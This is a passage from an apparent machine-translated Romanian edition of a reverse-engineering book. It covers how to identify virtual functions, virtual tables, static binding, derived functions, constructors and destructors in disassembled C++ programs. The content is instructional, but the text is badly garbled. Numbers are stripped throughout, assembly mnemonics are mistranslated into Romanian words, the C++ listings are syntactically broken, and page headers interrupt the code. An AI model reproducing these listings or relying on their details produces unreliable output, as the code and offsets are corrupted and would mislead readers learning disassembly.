pointerului introduce o suprasarcină inutilă pentru procesoarele cu o arhitectură pipeline (iar Pentium, cel mai comun procesor, este construit pe o astfel de arhitectură) Prin urmare, utilizarea apelurilor gateway este justificată numai în programele care sunt critice pentru dimensiune, dar nu critice pentru viteză Puteți citi mai multe despre toate acestea în cartea lui Bjarne Stroustrup „The Design and Evolution of the C++ Language” Un exemplu complicat în care funcțiile non-virtuale ajung în tabele virtuale Până acum, am luat în considerare doar cele mai simple exemple de utilizare a funcțiilor virtuale În viața reală, asta se întâmplă uneori Luați în considerare cazul complex de moștenire cu un conflict de nume (Listing ) Lista Un exemplu care ilustrează plasarea funcțiilor non-virtuale în cele virtuale : tabele cu conflict de nume - #include clasa a( public: virtual void f() { printf("A F\n");}; ); clasa B{ public: virtual void f() { printf("B F\n");}; virtual void g() ( printf("B G\n");}; ); clasa C: public A, public B { public: void f(){ printf("C F\n");} A *a = A nou; *b = B nou; C *C = C nou; Bjorn Stroustrup „Designul și evoluția limbajului C++” - Sankt Petersburg DMK-Press Petru, Capitolul Identificarea funcţiilor virtuale Cum va arăta tabelul virtual din clasa c? Deci, să ne gândim: deoarece clasa c este derivată din clasele a și b, atunci moștenește funcțiile ambelor clase, dar funcția virtuală f () a clasei b se suprapune cu funcția virtuală a clasei a cu același nume și, prin urmare, nu se moşteneşte din clasa a În plus, deoarece funcția non-virtuală f () este prezentă și în clasa derivată c, suprascrie funcția virtuală a clasei derivate (da, așa este, dar funcția non-virtuală nu suprascrie altă funcție non-virtuală, și este întotdeauna numit din clasa de bază, nu din clasa derivată) Astfel, tabelul virtual din clasa c trebuie să conțină un singur element - un pointer către funcția virtuală g () moștenită de la in, iar funcția non-virtuală f () este numită ca o funcție C normală Dreapta? Nu! Acesta este exact cazul când o funcție non-virtuală este apelată printr-un pointer - ca funcție virtuală Mai mult, tabelul virtual al clasei va conține nu două, ci trei elemente! Al treilea element este o referință la funcția virtuală f (), moștenită de la in, dar imediat înlocuită de compilator cu un „adaptor” la C: : f () Puff Ce greu este totul! Pentru a clarifica situația, luați în considerare lista dezasamblată a acestui exemplu (Listingul - ) Lista Codul dezasamblat al exemplului din Listatul principal push push push push call add ; Alocați memorie pentru o instanță a obiectului A test eax, eax jz scurt oc С mov ex, eax ; ECX = asta apelați Get A VTBL ; a[ ]=*A VTBL ; Plasați un pointer către tabelul său virtual în instanța obiectului mov ebx, eax ; EBX = *a jmp scurt oc E loc C: C DE XREF: principal+FÎj xor ebx, ebx loc E: C DE XREF: principal+lAÎj apăsați sunați la ?? @YAPAXI@Z ; operator nou(uint) adăugați esp, ; Alocați memorie pentru obiectul B test eax, eax jz scurt oc mov ex, eax ; ECX = asta apelați Get B VTBL ; b[ ] = *B VTBL ; Plasați un pointer către tabelul său virtual în instanța obiectului mov esi, eax ; ESI = *b jmp scurt loc loc : COD XREF: principal+ AОj xor esi, esi ; COD XREF: start+AFJ-p proc langa ebx esi edi ?? @YAPAXI@Z ; operator nou(uint) loc : ; COD XREF: principal+ Îj Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt apăsați sunați la ?? @YAPAXI@Z ; operator nou(uint) adăugați esp, ; Alocați memorie pentru obiectul B test eax, eax jz scurt oc mov ecx, eax; ECX = asta apelați GET C VTBLs; ret: EAX=*c ; Plasăm un pointer către tabelul său virtual în instanța obiectului; (Atenție: aruncați o privire la funcția GET C VTBLs) mov edi, eax jmp scurt loc ; EDI = *c loc : xor edi, edi loc : mută eax, [ebx] mov ecx, ebx apelați dword ptr [eax] mov edx, [esi] mov ecx, esi apelați dword ptr [edx] mov eax, [esi] mov ecx, esi apel dword ptr [eax+ ] mov edx, [edi] mov ecx, edi apelați dword ptr [edx] ; COD XREF: principal+ Îj ; COD XREF: principal+ Îj ; EAX = a[ ] = *A VTBL ; ECX = *a ; Apelați [A VTBL] (A F) ; EDX = b[ ] ; ECX = *b ; Apelați [B VTBL] (B F) ; EAX = b[ ] = B VTBL ; ECX = *b ; Apelați [B VTBL+ ] (B G) ; EDX = c[ ] = C VTBL ; ECX = *c ; Apelați [C VTBL] (C F) ; Atenţie! Apelarea unei funcții non-virtuale are loc ca și cum ar fi virtuală! pop edit pop esi pop ebx retn endp principal GET C VTBLs proc lângă ; COD XREF: principal+ Îp push esi ; ESI = *b push edi ; ECX = *c mov esi, ecx ; ESI = *c apelați Get A VTBL ; c[ ]=*A VTBL ; Am plasat într-o instanță a obiectului C un pointer către un virtual ; tabel clasa A lea edi, [esi+ ] ; EDI = *C[ ] mov ecx, edi ; ECX = " C F apelați Get B VTBL ; c[ ]=*B VTBL ; Adăugați un pointer la tabelul virtual la instanța obiectului C ; clasa B, adică acum obiectul C conține doi pointeri către doi ; tabele virtuale din clasa de bază Să vedem cum este compilatorul ; se ocupă de conflictele de nume mov dword ptr [edi], offset C VTBL FORM B ; c[ ]=* C VTBL ; Aha! indicatorul către tabelul virtual din clasa B este înlocuit cu un pointer Capitolul Identificarea funcţiilor virtuale ; la un tabel virtual de clasa C (vezi comentariile din tabelul în sine) mov dword ptr [esi], offset C VTBL ; c[ ]=C VTBL ; Da, încă o dată - acum un indicator către un tabel virtual din clasa A ; este înlocuit cu un pointer către un tabel virtual de clasa C Care ; cod suboptimal, pentru că ar fi putut fi redus la etapă ; compilare! mov eax, esi ; EAX \u d * s pop edit pop esi retn GET C VTBLs endp Get A VTBL proc lângă ; C DE XREF: principal+ Îp GET C VTBLs+ Îp mov eax, ecx mov dword ptr [eax], offset A VTBL ; Plasăm în instanța obiectului un pointer către tabelul virtual din clasa B retn Get A VTBL endp AF Proc lângă ; DATE XREF: rdata: A Îo ; funcția virtuală f() din clasa A push offset aA f ; „A F\n” apelați printf pop ecx retn A F endp Get B VTBL proc lângă C DE XREF: principal+ EÎp GET C VTBLs+EÎp mov eax, ecx mov dword ptr [eax], offset B VTBL ; Plasăm în instanța obiectului un pointer către tabelul virtual din clasa B retn Get B VTBL endp B F proc lângă ; DATE XREF: rdata: ACÎo ; Funcția virtuală f() din clasa B push offset aB f ; „B F\n” apelați printf pop ecx retn B F endp B G proc lângă ; DATE XREF: rdata: B ОO ; Funcția virtuală g() din clasa B push offset aB g ; „B G\n” apelați printf pop ecx retn B G endp C F proc lângă ; COD XREF: C F+ Оj Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; Funcția non-virtuală f() a clasei C arată și se numește virtual push offset aC f ; „C F\n” apelați printf pop ecx retn C F endp -C F proc lângă ; DATE XREF: rdata: B Îo sub ecx jmp C F ; Vedeți ce funcție ciudată În primul rând, niciodată ; este numit și, în al doilea rând, este un adaptor la funcția C F ; De ce scade ESC? În ECX, compilatorul a plasat acest indicator, ; care, înainte de reducere, a încercat să indice funcția virtuală f(), ; moștenit din clasa B Dar, de fapt, acest lucru a indicat acest lucru ; adaptor Și după ce a scăzut, a început să indice elementul anterior ; masă virtuală - adică ; implementează funcția JMP f() din clasa C, al cărei apel și C F endp A VTBL dd offset A F ; DATE XREF: Get A VTBL+ Îo ; masă virtuală clasa A B VTBL dd offset B F ; DATE XREF: Get B VTBL+ Îo dd offset B G ; Tabel virtual clasa B - conține indicatorii către două virtuale; funcții C VTBL dd offset C F DATE XREF: GET C VTBLs+ Îo ; Tabel virtual de clasă C Conține un pointer către ; funcția non-virtuală f() C VTBL FORM B dd offset C F ; dAtA XREF: GET C VTBLs+ Îo dd offset B G ; Tabel virtual din clasa C, copiat de compilator din clasa B ; Inițial a constat din doi pointeri către funcțiile f() și g(), dar ; etapa de compilare, compilatorul a dat seama de conflictul de nume și a înlocuit ; pointer către B::f() pointer către adaptor către C::f() Astfel, de fapt, tabelul virtual al unei clase derivate include tabelele virtuale ale tuturor claselor de bază (în orice caz, toate din care moștenește funcții virtuale) În acest caz, tabelul virtual din clasa c conține un pointer către o funcție non-virtuală din clasa c și un tabel virtual din clasa c Provocarea este cum să determinați că o funcție c::f() nu este virtuală? Și cum să găsiți toate clasele de bază ale clasei c? Să începem cu acesta din urmă - da, tabelul virtual al clasei c nu conține nicio indiciu a relației sale cu clasa a, dar uită-te la conținutul funcției get c vtbls, vezi: se încearcă injectarea unui pointer către virtualul tabelul din c și, prin urmare, clasa c este derivată din a Se poate obiecta că, să zicem, aceasta nu este o modalitate foarte fiabilă, compilatorul ar putea optimiza codul lansând un apel la tabelul virtual din clasa a, care încă nu este necesar Așa este, s-ar putea, dar în practică majoritatea compilatorilor nu fac asta și, dacă o fac, totuși lasă suficiente informații redundante pentru a permite stabilirea claselor de bază O altă întrebare - este cu adevărat necesar să setăm „părinți” de la care nu se moștenește nicio funcție? (Dacă se moștenește cel puțin o funcție, nu apar dificultăți în căutare ) În general, pentru analiză, acest lucru nu este cu adevărat critic Capitolul Identificarea funcţiilor virtuale Este adevărat, dar cu cât codul sursă al programului este restaurat mai precis, cu atât va fi mai clar și va fi mai ușor de înțeles Acum să trecem la funcția non-virtuală f() Să ne gândim ce s-ar întâmpla dacă ar fi de fapt virtual? Apoi ar suprascrie funcția claselor de bază cu același nume și nu ar exista „sălbăticie” ca „adaptoare” în programul compilat Și din moment ce se întâlnesc, înseamnă că nu totul merge bine aici, iar funcția nu este virtuală, deși tinde să pară așa Din nou, un compilator „inteligent” poate arunca teoretic un adaptor și un element duplicat al tabelului virtual din clasa c, dar în practică această inteligență nu este observată Legătura statică Există vreo diferență în modul de instanțiere a unui obiect - MyClass zzz; sau Myclass *zzz=new Myclass? Desigur, există o diferență În primul caz, compilatorul poate determina adresele funcțiilor virtuale în etapa de compilare, în timp ce în al doilea caz, aceste adrese trebuie calculate în timpul execuției programului O altă diferență este că obiectele statice sunt alocate pe stivă (segment de date), în timp ce obiectele dinamice sunt alocate pe heap Tabelul de funcții virtuale este creat în mod persistent de către compilatori în ambele cazuri, iar fiecare apel de funcție (inclusiv cele non-virtuale) pregătește un pointer this care conține adresa instanței obiectului Astfel, dacă întâlnim o funcție care este apelată direct prin offset-ul ei, dar în același timp este prezentă în tabelul virtual al clasei, putem spune cu încredere că aceasta este o funcție virtuală a unei instanțe de obiect static Să ne uităm la un exemplu care ilustrează un apel la o funcție virtuală statică (Listing ) - - ; - - Lista Demonstrație de apelare, funcție virtuală statică ' #include clasa de baza{ public: virtual void demo (void) ( printf("DEMO DE BAZĂ\n"); }; virtual void demo (void) { printf("DEMO DE BAZĂ \n"); }; void demo (void) printf("DEMO DE BAZĂ non virtuală \n"); class Derived: public Base{ public: virtual void demo (void) De obicei, acest indicator este plasat într-unul dintre registrele de uz general Acest lucru va fi tratat mai detaliat în Capitolul , „Identificarea argumentelor funcției” Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt printf("DEMO DERIVAT\n"); }; virtual void demo (void) ( printf("DEMO DERIVAT \n"); }; void demo (void) ( printf("DEMO DERIVE non virtuale\n"); bazap; demo(); p demo (); p demo (); derivat d; d demo(); d demo (); d demo (); Compilarea exemplului din Lista - ar trebui, în general, să arate ca Lista - Listarea , Rezultatul exemplului din Listarea X Proc principal lângă ; COD XREF: start+AF^p var = octet ptr - ; derivat var = octet ptr - ; baza ; Adesea (dar nu întotdeauna!) instanțele obiectului din stivă sunt în partea de jos ; sus, adică în ordinea inversă a declarațiilor lor în program împinge ebp mov ebp, esp sub esp lea ecx, [ebp+var ] ; baza apelați GetBASE VTBL; p[ ]=*BASE VTBL ; Rețineți că o instanță a unui obiect este plasată pe stivă, ; nu la grămadă! Acest lucru, desigur, indică și o statică ; natura instanței obiectului (obiectele dinamice pot fi, de asemenea, plasate în ; stivă), dar încă servește ca un indiciu de „static” lea esx, [ebp+var ] ; baza ; Pregătiți acest indicator (în cazul în care aveți nevoie) ; functii) sunați la BASE DEMO ; Apel direct la funcție! Aici, împreună cu prezența sa în virtual Capitolul Identificarea funcțiilor virtuale ; dovezi de tabel ale declarației statice a unei instanțe de obiect! lea ecx, [ebp+var ] ; baza ; Pregătiți din nou acest indicator către instanța de bază sunați la BASE DEMO ; Apel de funcție directă Este în masa virtuală? Există! ; Deci aceasta este o funcție virtuală, iar instanța obiectului este declarată ; static lea ecx, [ebp+var ] ; baza ; Pregătirea acestui pointer pentru funcția non-virtuală demo sunați la BASE DEMO ; Această funcție nu este în tabelul virtual (vezi tabelul virtual), ; deci nu este virtual lea ecx, [ebp+var ] ,- derivat apelați GetDERIVED VTBL ; d[ ]=*DERIVED VTBL lea ecx, [ebp+var ] ; derivat apelați DERIVED DEMO ; Similar cu precedentul lea ecx, [ebp+var ] ; derivat apelați DERIVED DEMO ; Similar cu precedentul lea ecx, [ebp+var ] ; derivat sunați la BASE DEMO ; Atenţie! Acest indicator indică ; funcția obiectului BASE se numește!!! la obiectul DERIVED, în timp ce Prin urmare, funcția BAZĂ este o derivată mov esp, ebp pop ebp retn endp principal BASE DEMO proc aproape ; Funcția demo a clasei BASE push offset aBase apelați printf pop ecx retn BASE DEMO endp BASE DEMO proc aproape ; Funcția demo a clasei BASE push offset aBaseDemo apelați printf pop ecx retn BASE DEMO endp BASE DEMO proc aproape ; COD XREF: main+llop ; „BAZA\n” ; COD XREF: principal+ Îp ; „DEMO DE BAZĂ \n” ; COD XREF: principal+ ip Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; Funcția demo a clasei BASE push call pop BASE DEMO offset aNonVirtualBase printf ecx retn endp ; „DEMO DE BAZĂ non virtuală \n” DERIVED DEMO proc lângă ; COD XREF: principal+ ip ; Funcția demo a clasei DERIVED push offset aDerivat ; „DERIVAT\n” apelați printf pop retn ecx DERIVED DEMO endp DERIVED DEMO proc lângă ; COD XREF: principal+ Îp ; Funcția demo a clasei DERIVED push offset aDerivedDemo ; „DEMO DERIVAT \n” apelați pxintf pop retn ecx DERIVED DEMO endp BASE DEMO proc lângă ; COD XREF: principal+ ip ; Funcția demo din clasa BASE ; Atenţie! Uite - funcția demo este prezentă de două ori în program! ; Prima dată a fost într-un obiect al clasei BASE, iar a doua oară a fost într-un obiect al clasei ; DERIVED, care l-a moștenit din clasa de bază și a făcut o copie ; Prost, nu? la urma urmei, ar fi mai bine dacă ar apela la original Dar asta se simplifică ; analiza programului push offset aNonVirtualDeri ; „Non virtual DERIVED DEMO \n” apelează printf pop ecx retn BASE DEMO endp GetBASE VTBL proc lângă C DF XREF: principal+ Îp ; Popularea unei instanțe a unui obiect BASE cu offset-ul tabelului său virtual mov eax, esx mov dword ptr [eax], offset BASE VTBL retn GetBASE VTBL endp GetDERIVED V proc lângă COD XREF: principal+ Îp TBL ; Popularea unei instanțe a unui obiect DERIVED cu offset-ul tabelului său virtual împinge esi mov esi, ecx apelați GetBASE VTBL Capitolul Identificarea funcţiilor virtuale ; Aha! Deci obiectul nostru este derivat din BASE! mov dword ptr [esi], offset DERIVED VTBL ; Inserarea unui pointer către tabelul virtual DERIVED mov eax, esi pop esi retn GetDERIVED VTBL endp BASE VTBL dd offset BASE DEMO DATE XREF: GetBASE VTBL+ Îo dd offset BASE DEMO DERIVED VTBL dd offset DERIVED DEMO ; DATE XREF: GetDERIVED VTBL+ Îo dd offset DERIVED DEMO ; Acordați atenție prezenței unei mese virtuale chiar și acolo unde nu este ; Necesar! Identificarea funcţiilor derivate Identificarea derivatelor funcțiilor non-virtuale este un punct foarte subtil La prima vedere, deoarece sunt numite ca funcțiile C obișnuite, este imposibil să recunoaștem în ce clasă a fost declarată această sau acea funcție - compilatorul distruge aceste informații în etapa de compilare Distruge, dar nu pe toate! Înainte de fiecare apel de funcție (fie derivat sau nu), indicatorul this este în mod necesar format - în cazul în care este necesar de funcția care indică obiectul de la care este apelată această funcție Pentru funcțiile derivate, acest pointer stochează offset-ul obiectului derivat, nu obiectul de bază Iată indiciul! Dacă o funcție este apelată cu indicatori diferiți, aceasta este o funcție derivată Este mai greu de aflat de la ce obiect provine Nu există soluții universale, dar dacă evidențiem obiectul a cu funcțiile fl (), f (), și obiectul din cu funcțiile fl (), f (), f () , atunci putem spune cu siguranță că f () este o funcție derivată din clasa a Adevărat, dacă funcția f () nu a fost niciodată apelată dintr-o instanță a clasei, atunci nu va fi posibil să se determine dacă este o derivată sau nu Luați în considerare exemplul de identificare a funcțiilor derivate din Lista - ; Lista L Demonstrarea identificării funcţiilor derivate #include clasă de bază{ public: void base demo(void) { printf("DEMO DE BAZĂ\n"); } ; void base demo (void) { printf("DEMO DE BAZĂ \n"); class Derived: public Base{ public: void derived demo(void) Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt printf("DEMO DERIVAT\n"); }; void derived demo (void) { printf("DEMO DERIVAT \n"); Compilarea acestui exemplu ar trebui să arate, în general, ca Lista proc principal lângă ; C DE XREF: start+AFj,p împinge esi apăsați sunați la ?? @YAPAXI@Z ; operator nou(uint) ; Creăm o nouă instanță a unui obiect Deși nu știm încă; ce Fie obiectul A mov esi f eax ; ESI = *a adăugați esp, mov ecx, esi ; ECX = *a(aceasta) callBASE DEMO ; Apelați BASE DEMO, observând că acest lucru indică mov ecx, esi ,- ecx = *a(this) sunați la BASE DEMO ; Apelați BASE DEMO , observând că acest lucru indică ; ' A' apăsați sunați la ?? @YAPAXI@Z ; operator nou(uint) ; Creați o altă instanță a unui obiect, să-l numim b mov esi, eax; ESI = *b adăugați esp, mov ecx, esi ; ECX = *b(acesta) sunați la BASE DEMO ; Aha Apelați BASE DEMO, dar de data aceasta arată către b, ; deci BASE DEMO este legat atât de „a” cât și de „b” mov ecx, esi sunați la BASE DEMO ; Aha! Numim BASE DEMO , dar de data aceasta indică b, ; deci BASE DEMO este legat atât de „a” cât și de „b” mov ecx, esi apelați DERIVED DEMO ; Sunăm DERIVED DEMO Acest indicator indică spre b și nu ; nu a fost găsită nicio relație între DERIVED DEMO și „a” acest indicator ; nu a indicat niciodată „a” când îl numesc mov ecx, esi apelați DERIVED DEMO Capitolul Identificarea funcțiilor virtuale ; De asemenea pop esi retn endp principal Deci, identificarea derivatelor nevirtuale ale funcțiilor este un lucru destul de real Singura dificultate este să distingem cazurile a două obiecte diferite de instanțe ale aceluiași obiect În ceea ce privește identificarea derivatelor funcțiilor virtuale, acest lucru a fost deja discutat mai devreme Funcțiile virtuale derivate sunt apelate în două etape - în prima etapă, offset-ul tabelului virtual al clasei de bază este introdus în instanța obiectului, iar apoi este înlocuit cu offset-ul tabelului virtual al clasei derivate Chiar dacă compilatorul optimizează codul, redundanța rămasă este totuși mai mult decât suficientă pentru a distinge funcțiile derivate de restul Identificarea tabelului virtual Acum, după ce am stăpânit temeinic tabelele și funcțiile virtuale, să luăm în considerare o întrebare foarte dificilă - este fiecare matrice de pointeri către funcții un tabel virtual? Desigur nu! La urma urmei, un apel indirect de funcție printr-un pointer este un lucru obișnuit în practica unui programator O serie de indicatoare către funcții hmm, desigur că nu o poți numi tipic, dar se întâmplă în viața reală! Luați în considerare exemplul prezentat în Lista - Desigur, acest exemplu este strâmb și prefăcut Cu toate acestea, pentru a demonstra situația în care o matrice de pointeri este vitală, ar trebui să scrieți mai mult de o sută de linii de cod #include void demo l(void) { printf("Demo l\n"); } void demo (void) { printf("Demo \n"); } void call demo(void **x) { ((void (*)(void)) x[ ])(); ((void (*)(void)) x[l])(); gol static* x[ ] = { (void*) demo l,(void*) demo }; // Atentie: daca tabloul nu este initializat cand este declarat, // dar în timpul programului, adică x[ ]=(void *) demo l, , // atunci compilatorul va genera cod adecvat care scrie // funcția decalează în timpul execuției programului, ceea ce va Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt // nu arată deloc ca o masă virtuală! // Dimpotrivă, inițializarea la locurile de declarare deja // indicatoare gata făcute către segmentul de date, arătând ca un // tabel virtual real (și salvând și ciclurile CPU) call demo(&x[ ]); Acum să ne uităm la rezultatul compilării acestui exemplu (Listarea - ) și să vedem dacă putem distinge între un tabel de indicatori „făcut de om” și unul real Lista Rezultatul compilării unui exemplu care demonstrează simularea virtualului | tabele' 'L;'- proc principal lângă COD XREF: start+AFj,p push offset Like VTBL apel demo call ; Da, funcției i se transmite un pointer către ceva foarte asemănător cu ; masă virtuală Dar noi, deja înțelepți din experiență, ușor ; hai să spargem acest fals brut În primul rând, indicii către VTBL ca acesta ; pur și simplu nu sunt transmise (nu există un cod atât de banal), în al doilea rând, ei ; nu sunt trecute prin stivă, ci printr-un registru În al treilea rând, indică ; tabel virtual de niciun compilator existent ; folosit direct, dar plasat într-un obiect Aici nu există ; obiect, nu acest indicator Cu alte cuvinte, nu este virtual ; masă, deși la prima vedere foarte mult asupra ei ; se pare ca pop esx retn endp principal demo call proc lângă COD XREF: sub + Îp arg = dword ptr ; Pointerul este un argument, iar tabelele virtuale sunt accesate ; prin registru împinge ebp mov ebp, esp împinge esi mută esi, [ebp+arg ] apel dword ptr [esi] ; Există un apel de funcție pe două niveluri - prin pointer către o matrice ; indicatori de funcție, care este tipic pentru apelarea funcțiilor virtuale ; Dar, din nou, cod prea banal - apelarea funcțiilor virtuale ; este asociat cu o mare redundanță și, în al doilea rând, din nou nu există indicator; acest apel dword ptr [esi+ ] ; La fel - prea ușor pentru a apela o funcție virtuală pop esi pop ebp retn demo call endp Capitolul Identificarea funcţiilor virtuale Like VTBL dd offset demo l DATE XREF:mainT dd offset demo ; O serie de pointeri arată ca un tabel virtual, dar ; este situat „nu unde” unde sunt de obicei amplasate tabelele virtuale Rezumând concluziile împrăștiate de-a lungul comentariilor, repetăm semnele principale ale unui „fals” încă o dată: □ Cod prea banal - un minim de registre folosite și fără redundanță, accesul la tabelele virtuale este mult mai ornamentat □ Pointerul către funcția virtuală este stocat în instanța obiectului și este trecut nu prin stivă, ci printr-un registru □ Lipsește acest indicator, întotdeauna pregătit înainte de a apela o funcție virtuală □ Funcțiile virtuale și variabilele statice sunt situate în locuri diferite în segmentul de date - astfel încât să puteți distinge imediat una de alta Este posibil să se organizeze un apel de funcție prin referință în așa fel încât compilarea programului să dea cod identic cu apelul de funcție virtuală? Cum să spun Teoretic da, dar în practică - este puțin probabil ca acest lucru să fie posibil de implementat (și neintenționat - cu atât mai mult) Codul pentru apelarea funcțiilor virtuale este foarte specific datorită redundanței mari și este ușor de distins „cu ochi” Este ușor să imitați tehnica generală de lucru cu tabele virtuale, dar fără inserții de asamblare este imposibil să o reproduceți exact În general, după cum putem vedea, lucrul cu funcții virtuale este asociat cu redundanță uriașă și „frâne”, iar analiza lor este asociată cu costuri mari cu forța de muncă - trebuie să păstrați constant o mulțime de indicii în cap și să vă amintiți care dintre ele indică ce Dar oricum ar fi, nu există bariere fundamental insolubile în fața cercetătorului Pentru mai multe informații despre acest subiect, consultați Capitolul , Identificarea acestui subiect Capitolul Identificarea constructorului și a destructorului Constructorul, în virtutea faptului că este apelat automat atunci când este creată o nouă instanță a unui obiect, este prima funcție a unui obiect care trebuie apelat Deci, ce dificultăți pot apărea în identificarea acestuia? Piesa de poticnire este că constructorul este opțional, adică poate sau nu să fie prezent în obiect Prin urmare, nu este deloc un fapt că prima funcție apelată va fi un constructor! Privind descrierea limbajului C++, puteți descoperi că constructorul nu returnează nicio valoare, ceea ce nu este tipic pentru funcțiile obișnuite Cu toate acestea, această proprietate în sine nu este încă suficient de rară pentru a identifica unic un constructor Cum să fii atunci? Ajută ca, conform standardului, un constructor să nu arunce automat excepții, chiar dacă nu a fost posibilă alocarea de memorie pentru obiect Există multe moduri diferite de a implementa această cerință, dar toți compilatorii cunoscuți plasează pur și simplu o verificare pentru un pointer nul înainte de a apela constructorul, trecându-i controlul numai dacă alocarea memoriei pentru obiect are succes În contrast, toate celelalte funcții obiect sunt întotdeauna apelate, chiar dacă alocarea memoriei eșuează Mai degrabă, se încearcă apelarea lor, dar pointerul nul returnat de eroarea de alocare a memoriei ridică o excepție prima dată când este accesată, trecând „frâiele” manevrului de excepții corespunzător Astfel, o funcție „întonată” de o verificare a indicatorului nul este un constructor și nimic altceva Teoretic, însă, o astfel de verificare poate fi prezentă și la apelarea altor funcții care nu sunt constructoare, dar în viața reală această situație este extrem de rară Un destructor, ca și un constructor, este opțional, adică ultima funcție a unui obiect numit nu va fi neapărat un destructor Cu toate acestea, este foarte ușor să distingeți un destructor de orice altă funcție - este apelat numai atunci când obiectul este creat cu succes (adică, memoria este alocată cu succes) și ignorat în caz contrar Aceasta este o caracteristică documentată a limbajului și, prin urmare, trebuie implementată de toți compilatorii Astfel, același „ring” este plasat în cod ca și cel al constructorului, dar nu apare nicio confuzie, deoarece constructorul este întotdeauna numit primul (dacă există), iar destructorul este numit ultimul Un caz special este un obiect care constă în întregime dintr-un singur constructor (sau destructor) - deși în această situație este foarte posibil să ne dăm seama cu ce avem de-a face După apelul constructorului, există aproape întotdeauna cod care resetează indicatorul this în cazul unei alocări nereușite a memoriei, în timp ce destructorul nu o face! Mai mult, destructorul este de obicei apelat nu direct din procedura părinte, ci dintr-o funcție wrapper care, pe lângă destructor, apelează și operatorul de ștergere, care eliberează memoria ocupată de obiect Astfel, este foarte posibil să distingem un constructor de un destructor Capitolul Identificarea constructorului și a destructorului Să ilustrăm ceea ce s-a spus cu un exemplu practic (Listarea ) Lista Demo constructor și destructor #include clasa MyClass{ public: clasa mea(void); void demo(void); -MyClass(void); MyClass::MyClass() { printf("Constructor\n"); } MyClass::~MyClass() { printf("Destructor\n"); } void MyClass::demo(void) { printf("Clasa mea\n"); } principal() { MyClass Azzz = noua MyClass; zz->demo(); deletezzz; Compilarea acestui exemplu ar trebui, în general, să arate ca Lista Lista Rezultatul compilarii exemplului din Lista Constructor proc lângă C DE XREF: principal+ p ; funcția de constructor Faptul că acesta este un constructor poate fi înțeles din ; implementarea apelului său împinge esi mov esi, ecx push offset aConstructor ; „Constructor\n” apelați printf adăugați esp, mov eax, esi pop esi retn Constructor endp Destructor proc lângă C DE XREF: destructor+ p Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; funcția de distrugere Faptul că acesta este un destructor poate fi înțeles din ; implementarea apelului său push call pop retn Destructo: offset aDestructor printf ecx r endp ; „Destructor\n” proc demo lângă ; COD XREF: principal+lE>lp ; Funcție demo obișnuită push offset aMyclass ; „MyClass\n” apelați printf pop ecx retn demo endp proc principal lângă ; COD XREF: start+AFJ da, initializat, nu apelati constructorul mov dl, cl Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt mov ecx, offset unk El ; Instanță de obiect ; Pregătirea acestui indicator sau dl, al ; Setați indicatorul de inițializare la TRUE ; și apelați constructorul mov byte E , dl ; Flag de inițializare a instanței obiectului constructor de apeluri ; Apelul constructorului ; Rețineți că, dacă instanța obiectului este deja inițializată, ; (vezi verificarea mai sus) constructorul nu este apelat ; Astfel, este foarte ușor de identificat push offset thunk destructo call atexit adăugați esp, ; Trecem indicatorul către destructor la funcția atexit, ; pe care ar trebui să-l apeleze la sfârșitul programului loc D: ; COD XREF: principal+AÎj mov ecx, offset unk El ; Instanță de obiect ; Pregătirea acestui indicator jmp demo ; Sunăm demo endp principal thunk destructo: DATE XREF: principal+ Îo ; Adaptor la funcția destructor mov ecx, offset unk El ; Instanță de obiect jmp destructor byte E db ; DATA XREF: mainîr main+ Îw ; Indicatorul de inițializare a instanței obiectului unk El db ; DATE XREF: main+EÎo main+ DÎo ; instanță obiect Cod similar este generat de Borland C++ Singura diferență este un apel destructor mai complicat Apelurile către toți destructorii sunt plasate într-o procedură specială care se pretinde a fi plasată de obicei înaintea (sau foarte aproape de) funcțiile bibliotecii, deci este foarte ușor să o identifici Vedeți singuri (Listarea ) ■ Listarea Rezultatul compilației unui exemplu care ilustrează identificarea unui constructor -■ și a unui destructor global de obiecte folosind compilatorul Borland C++ ' proc principal lângă DATE XREF: DATE: J O împinge ebp mov ebp, esp cmp ds:byte , ; Steagul de inițializare a obiectului jnz scurt loc EC ; Dacă obiectul este deja inițializat, constructorul nu este apelat mov eax, offset unk B ; Instanță de obiect Capitolul Identificarea constructorului și a destructorului constructor de apeluri inc ds:byte ; Steagul de inițializare a obiectului ; Creșteți steagul cu unul, ridicându-l la TRUE oc EC: ; C DE XREF: main+AÎj mov eax, offset unk B ; Instanță de obiect apelați demo ; Apelarea funcției demo xor eax, eax pop ebp retn principal endp call destruct proc lângă date XREF: DATE: A J-O ; Această funcție conține apeluri către toți destructorii de obiecte globale, ; Pentru că apelul către fiecare destructor este „sunet” prin verificarea steagului ; inițializare, această funcție este ușor de identificat - doar ea conține ; cod similar (apelurile către constructori sunt de obicei împrăștiate în tot programul) împinge ebp mov ebp, esp emp ds:byte , ; Steagul de inițializare a obiectului jz scurt loc ; Obiectul a fost inițializat? mov eax, offset unk B ; Instanță de obiect ; Pregătirea acestui indicator mov edx, apel destructor ; Chemând destructorul IOS : C DE XREF: call destruct+AÎj pop ebp retn call destruct endp destructor virtual Un destructor poate fi și virtual! De ce nu? Acest lucru este util atunci când o instanță a unei clase derivate este ștearsă printr-un pointer către obiectul de bază Deoarece funcțiile virtuale sunt asociate cu clasa obiectului și nu cu clasa pointerului, este numit destructorul virtual asociat tipului de obiect, nu tipul pointerului Cu toate acestea, aceste subtilități se referă la programarea directă, iar cercetătorii sunt interesați în primul rând de; cum să identifici destructorul virtual Oh, este simplu - un destructor virtual combină proprietățile unui destructor obișnuit și o funcție virtuală Constructor virtual Constructor virtual?! Ce, există așa ceva? C++ standard nu acceptă așa ceva Nu suportă direct Și, atunci când programatorii au nevoie disperată de un constructor virtual (cu toate acestea, acest lucru se întâmplă doar în cazuri foarte exotice), ei recurg la emularea manuală a unui fel Într-un program special alocat în aceste scopuri Aceste probleme au fost discutate în detaliu în Capitolul , „Identificarea funcțiilor virtuale” Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt O funcție reală (nu un constructor!) este plasată cam așa: return new class-name (*this) Acest truc este strâmb decât un bumerang, dar funcționează Desigur, există și alte soluții Din păcate, o discuție detaliată a acestora depășește cu mult scopul acestei cărți și necesită o cunoaștere profundă a C++ 